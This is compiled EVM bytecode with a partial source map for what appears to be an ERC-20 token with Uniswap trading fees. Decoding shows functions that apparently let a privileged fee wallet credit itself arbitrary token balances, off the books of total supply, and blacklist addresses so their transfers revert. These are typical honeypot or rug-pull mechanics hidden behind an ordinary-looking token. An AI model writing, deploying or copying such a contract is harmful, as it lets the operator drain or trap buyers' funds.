fffffffffffffffffffffff16846110b8565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d29959493929190612a56565b600060405180830381600087803b158015611d4357600080fd5b505af1925050508015611d54575060015b5060004790506000811115611dcd57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dcb573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611e2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118ca565b905092915050565b6000808303611e495760009050611eab565b60008284611e579190612ab0565b9050828482611e669190612b39565b14611ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9d90612bdc565b60405180910390fd5b809150505b92915050565b6000611ef383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f59565b905092915050565b6000808284611f0a919061259c565b905083811015611f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4690612c48565b60405180910390fd5b8091505092915050565b60008083118290611fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f97919061204c565b60405180910390fd5b5060008385611faf9190612b39565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ff6578082015181840152602081019050611fdb565b60008484015250505050565b6000601f19601f8301169050919050565b600061201e82611fbc565b6120288185611fc7565b9350612038818560208601611fd8565b61204181612002565b840191505092915050565b600060208201905081810360008301526120668184612013565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120a382612078565b9050919050565b6120b381612098565b81146120be57600080fd5b50565b6000813590506120d0816120aa565b92915050565b6000819050919050565b6120e9816120d6565b81146120f457600080fd5b50565b600081359050612106816120e0565b92915050565b600080604083850312156121235761212261206e565b5b6000612131858286016120c1565b9250506020612142858286016120f7565b9150509250929050565b60008115159050919050565b6121618161214c565b82525050565b600060208201905061217c6000830184612158565b92915050565b6000602082840312156121985761219761206e565b5b60006121a6848285016120c1565b91505092915050565b60006121ba82612078565b9050919050565b6121ca816121af565b82525050565b60006020820190506121e560008301846121c1565b92915050565b6000819050919050565b600061221061220b61220684612078565b6121eb565b612078565b9050919050565b6000612222826121f5565b9050919050565b600061223482612217565b9050919050565b61224481612229565b82525050565b600060208201905061225f600083018461223b565b92915050565b61226e816120d6565b82525050565b60006020820190506122896000830184612265565b92915050565b6000806000606084860312156122a8576122a761206e565b5b60006122b6868287016120c1565b93505060206122c7868287016120c1565b92505060406122d8868287016120f7565b9150509250925092565b600060ff82169050919050565b6122f8816122e2565b82525050565b600060208201905061231360008301846122ef565b92915050565b60006020828403121561232f5761232e61206e565b5b600061233d848285016120f7565b91505092915050565b61234f81612098565b82525050565b600060208201905061236a6000830184612346565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261239557612394612370565b5b8235905067ffffffffffffffff8111156123b2576123b1612375565b5b6020830191508360208202830111156123ce576123cd61237a565b5b9250929050565b6123de8161214c565b81146123e957600080fd5b50565b6000813590506123fb816123d5565b92915050565b60008060006040848603121561241a5761241961206e565b5b600084013567ffffffffffffffff81111561243857612437612073565b5b6124448682870161237f565b93509350506020612457868287016123ec565b9150509250925092565b600080604083850312156124785761247761206e565b5b6000612486858286016120c1565b9250506020612497858286016120c1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124e857607f821691505b6020821081036124fb576124fa6124a1565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612537602083611fc7565b915061254282612501565b602082019050919050565b600060208201905081810360008301526125668161252a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006125a7826120d6565b91506125b2836120d6565b92508282019050808211156125ca576125c961256d565b5b92915050565b6000815190506125df816120aa565b92915050565b6000602082840312156125fb576125fa61206e565b5b6000612609848285016125d0565b91505092915050565b60006040820190506126276000830185612346565b6126346020830184612346565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612675826120d6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036126a7576126a661256d565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061270e602483611fc7565b9150612719826126b2565b604082019050919050565b6000602082019050818103600083015261273d81612701565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a0602283611fc7565b91506127ab82612744565b604082019050919050565b600060208201905081810360008301526127cf81612793565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612832602583611fc7565b915061283d826127d6565b604082019050919050565b6000602082019050818103600083015261286181612825565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128c4602383611fc7565b91506128cf82612868565b604082019050919050565b600060208201905081810360008301526128f3816128b7565b9050919050565b6000612905826120d6565b9150612910836120d6565b92508282039050818111156129285761292761256d565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061298261297d6129788461295d565b6121eb565b6120d6565b9050919050565b61299281612967565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129cd81612098565b82525050565b60006129df83836129c4565b60208301905092915050565b6000602082019050919050565b6000612a0382612998565b612a0d81856129a3565b9350612a18836129b4565b8060005b83811015612a49578151612a3088826129d3565b9750612a3b836129eb565b925050600181019050612a1c565b5085935050505092915050565b600060a082019050612a6b6000830188612265565b612a786020830187612989565b8181036040830152612a8a81866129f8565b9050612a996060830185612346565b612aa66080830184612265565b9695505050505050565b6000612abb826120d6565b9150612ac6836120d6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612aff57612afe61256d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b44826120d6565b9150612b4f836120d6565b925082612b5f57612b5e612b0a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc6602183611fc7565b9150612bd182612b6a565b604082019050919050565b60006020820190508181036000830152612bf581612bb9565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612c32601b83611fc7565b9150612c3d82612bfc565b602082019050919050565b60006020820190508181036000830152612c6181612c25565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b960368da400bd1e3998d06ad81e71f9cc8138827e8428c5a78f37ddd9a94c5964736f6c63430008100033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80633ecad271116100ab578063c5d241891161006f578063c5d241891461046f578063c816841b1461049a578063c8607952146104c5578063c9567bf9146104f0578063d478a06c14610507578063dd62ed3e1461053057610140565b80633ecad2711461036257806370a082311461039f5780638da5cb5b146103dc57806395d89b4114610407578063a9059cbb1461043257610140565b806318160ddd116100fd57806318160ddd1461024057806323b872dd1461026b578063313ce567146102a85780633345611e146102d357806338bf3cfa146103105780633eca1a531461033957610140565b806306fdde0314610145578063095ea7b3146101705780630ae95ba5146101ad578063113daa7c146101ea5780631694505e1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b604051610167919061204c565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061210c565b6105ff565b6040516101a49190612167565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612182565b61061d565b6040516101e19190612167565b60405180910390f35b3480156101f657600080fd5b506101ff61063d565b60405161020c91906121d0565b60405180910390f35b34801561022157600080fd5b5061022a610663565b604051610237919061224a565b60405180910390f35b34801561024c57600080fd5b50610255610689565b6040516102629190612274565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d919061228f565b610693565b60405161029f9190612167565b60405180910390f35b3480156102b457600080fd5b506102bd61076d565b6040516102ca91906122fe565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f59190612182565b610784565b6040516103079190612167565b60405180910390f35b34801561031c57600080fd5b5061033760048036038101906103329190612182565b6107a4565b005b34801561034557600080fd5b50610360600480360381019061035b9190612319565b6108f6565b005b34801561036e57600080fd5b5061038960048036038101906103849190612182565b6109f3565b6040516103969190612167565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612182565b610a13565b6040516103d39190612274565b60405180910390f35b3480156103e857600080fd5b506103f1610a5c565b6040516103fe9190612355565b60405180910390f35b34801561041357600080fd5b5061041c610a85565b604051610429919061204c565b60405180910390f35b34801561043e57600080fd5b506104596004803603810190610454919061210c565b610b17565b6040516104669190612167565b60405180910390f35b34801561047b57600080fd5b50610484610b36565b6040516104919190612274565b60405180910390f35b3480156104a657600080fd5b506104af610b3c565b6040516104bc9190612355565b60405180910390f35b3480156104d157600080fd5b506104da610b62565b6040516104e79190612274565b60405180910390f35b3480156104fc57600080fd5b50610505610b68565b005b34801561051357600080fd5b5061052e60048036038101906105299190612401565b610f13565b005b34801561053c57600080fd5b5061055760048036038101906105529190612461565b611029565b6040516105649190612274565b60405180910390f35b60606001805461057c906124d0565b80601f01602080910402602001604051908101604052809291908181526020018280546105a8906124d0565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c6110b0565b84846110b8565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60006106a0848484611281565b50610762846106ad6110b0565b61075d85604051806060016040528060288152602001612c6960289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107136110b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca9092919063ffffffff16565b6110b8565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b6107ac6110b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108309061254d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461099957600080fd5b600083826109a7919061259c565b905080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610a94906124d0565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac0906124d0565b8015610b0d5780601f10610ae257610100808354040283529160200191610b0d565b820191906000526020600020905b815481529060010190602001808311610af057829003601f168201915b5050505050905090565b6000610b2b610b246110b0565b8484611281565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b610b706110b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf49061254d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8591906125e5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1091906125e5565b6040518363ffffffff1660e01b8152600401610d2d929190612612565b6020604051808303816000875af1158015610d4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7091906125e5565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f546110b0565b73ffffffffffffffffffffffffffffffffffffffff16148015610f7b575060008383905010155b610f8457600080fd5b60005b83839050811015611023578160096000868685818110610faa57610fa961263b565b5b9050602002016020810190610fbf9190612182565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061101b9061266a565b915050610f87565b50505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111e90612724565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118d906127b6565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112749190612274565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036112f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e890612848565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611360576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611357906128da565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113b757600080fd5b600d60009054906101000a900460ff16156113de576113d784848461192e565b90506118c3565b60006113e930610a13565b9050600d60009054906101000a900460ff161580156114525750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114615761146081611b01565b5b6114b383600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ded90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115995750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115a6578390506117c2565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611629576116226064611614600a5488611e3790919063ffffffff16565b611eb190919063ffffffff16565b90506116a7565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116a6576116a36064611695600b5488611e3790919063ffffffff16565b611eb190919063ffffffff16565b90505b5b60008111156117ab5761170281600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efb90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117a29190612274565b60405180910390a35b6117be8186611ded90919063ffffffff16565b9150505b61181481600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efb90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118b49190612274565b60405180910390a36001925050505b9392505050565b6000838311158290611912576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611909919061204c565b60405180910390fd5b506000838561192191906128fa565b9050809150509392505050565b60006119b9826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a4e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aee9190612274565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b3957611b3861292e565b5b604051908082528060200260200182016040528015611b675781602001602082028036833780820191505090505b5090503081600081518110611b7f57611b7e61263b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4a91906125e5565b81600181518110611c5e57611c5d61263b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cc530600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110b8565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d29959493929190612a56565b600060405180830381600087803b158015611d4357600080fd5b505af1925050508015611d54575060015b5060004790506000811115611dcd57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dcb573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611e2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118ca565b905092915050565b6000808303611e495760009050611eab565b60008284611e579190612ab0565b9050828482611e669190612b39565b14611ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9d90612bdc565b60405180910390fd5b809150505b92915050565b6000611ef383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f59565b905092915050565b6000808284611f0a919061259c565b905083811015611f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4690612c48565b60405180910390fd5b8091505092915050565b60008083118290611fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f97919061204c565b60405180910390fd5b5060008385611faf9190612b39565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ff6578082015181840152602081019050611fdb565b60008484015250505050565b6000601f19601f8301169050919050565b600061201e82611fbc565b6120288185611fc7565b9350612038818560208601611fd8565b61204181612002565b840191505092915050565b600060208201905081810360008301526120668184612013565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120a382612078565b9050919050565b6120b381612098565b81146120be57600080fd5b50565b6000813590506120d0816120aa565b92915050565b6000819050919050565b6120e9816120d6565b81146120f457600080fd5b50565b600081359050612106816120e0565b92915050565b600080604083850312156121235761212261206e565b5b6000612131858286016120c1565b9250506020612142858286016120f7565b9150509250929050565b60008115159050919050565b6121618161214c565b82525050565b600060208201905061217c6000830184612158565b92915050565b6000602082840312156121985761219761206e565b5b60006121a6848285016120c1565b91505092915050565b60006121ba82612078565b9050919050565b6121ca816121af565b82525050565b60006020820190506121e560008301846121c1565b92915050565b6000819050919050565b600061221061220b61220684612078565b6121eb565b612078565b9050919050565b6000612222826121f5565b9050919050565b600061223482612217565b9050919050565b61224481612229565b82525050565b600060208201905061225f600083018461223b565b92915050565b61226e816120d6565b82525050565b60006020820190506122896000830184612265565b92915050565b6000806000606084860312156122a8576122a761206e565b5b60006122b6868287016120c1565b93505060206122c7868287016120c1565b92505060406122d8868287016120f7565b9150509250925092565b600060ff82169050919050565b6122f8816122e2565b82525050565b600060208201905061231360008301846122ef565b92915050565b60006020828403121561232f5761232e61206e565b5b600061233d848285016120f7565b91505092915050565b61234f81612098565b82525050565b600060208201905061236a6000830184612346565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261239557612394612370565b5b8235905067ffffffffffffffff8111156123b2576123b1612375565b5b6020830191508360208202830111156123ce576123cd61237a565b5b9250929050565b6123de8161214c565b81146123e957600080fd5b50565b6000813590506123fb816123d5565b92915050565b60008060006040848603121561241a5761241961206e565b5b600084013567ffffffffffffffff81111561243857612437612073565b5b6124448682870161237f565b93509350506020612457868287016123ec565b9150509250925092565b600080604083850312156124785761247761206e565b5b6000612486858286016120c1565b9250506020612497858286016120c1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124e857607f821691505b6020821081036124fb576124fa6124a1565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612537602083611fc7565b915061254282612501565b602082019050919050565b600060208201905081810360008301526125668161252a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006125a7826120d6565b91506125b2836120d6565b92508282019050808211156125ca576125c961256d565b5b92915050565b6000815190506125df816120aa565b92915050565b6000602082840312156125fb576125fa61206e565b5b6000612609848285016125d0565b91505092915050565b60006040820190506126276000830185612346565b6126346020830184612346565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612675826120d6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036126a7576126a661256d565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061270e602483611fc7565b9150612719826126b2565b604082019050919050565b6000602082019050818103600083015261273d81612701565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a0602283611fc7565b91506127ab82612744565b604082019050919050565b600060208201905081810360008301526127cf81612793565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612832602583611fc7565b915061283d826127d6565b604082019050919050565b6000602082019050818103600083015261286181612825565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128c4602383611fc7565b91506128cf82612868565b604082019050919050565b600060208201905081810360008301526128f3816128b7565b9050919050565b6000612905826120d6565b9150612910836120d6565b92508282039050818111156129285761292761256d565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061298261297d6129788461295d565b6121eb565b6120d6565b9050919050565b61299281612967565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129cd81612098565b82525050565b60006129df83836129c4565b60208301905092915050565b6000602082019050919050565b6000612a0382612998565b612a0d81856129a3565b9350612a18836129b4565b8060005b83811015612a49578151612a3088826129d3565b9750612a3b836129eb565b925050600181019050612a1c565b5085935050505092915050565b600060a082019050612a6b6000830188612265565b612a786020830187612989565b8181036040830152612a8a81866129f8565b9050612a996060830185612346565b612aa66080830184612265565b9695505050505050565b6000612abb826120d6565b9150612ac6836120d6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612aff57612afe61256d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b44826120d6565b9150612b4f836120d6565b925082612b5f57612b5e612b0a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc6602183611fc7565b9150612bd182612b6a565b604082019050919050565b60006020820190508181036000830152612bf581612bb9565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612c32601b83611fc7565b9150612c3d82612bfc565b602082019050919050565b60006020820190508181036000830152612c6181612c25565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b960368da400bd1e3998d06ad81e71f9cc8138827e8428c5a78f37ddd9a94c5964736f6c63430008100033

Deployed Bytecode Sourcemap

3682:6608:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5241:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5730:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4162:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3927:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5193;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5550:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7715:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5459:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4053:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1566:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6271:270;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4110:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5332:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1360:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5899:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7540:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4214:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5695:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4256:36;;;;;;;;;;;;;:::i;:::-;;;;;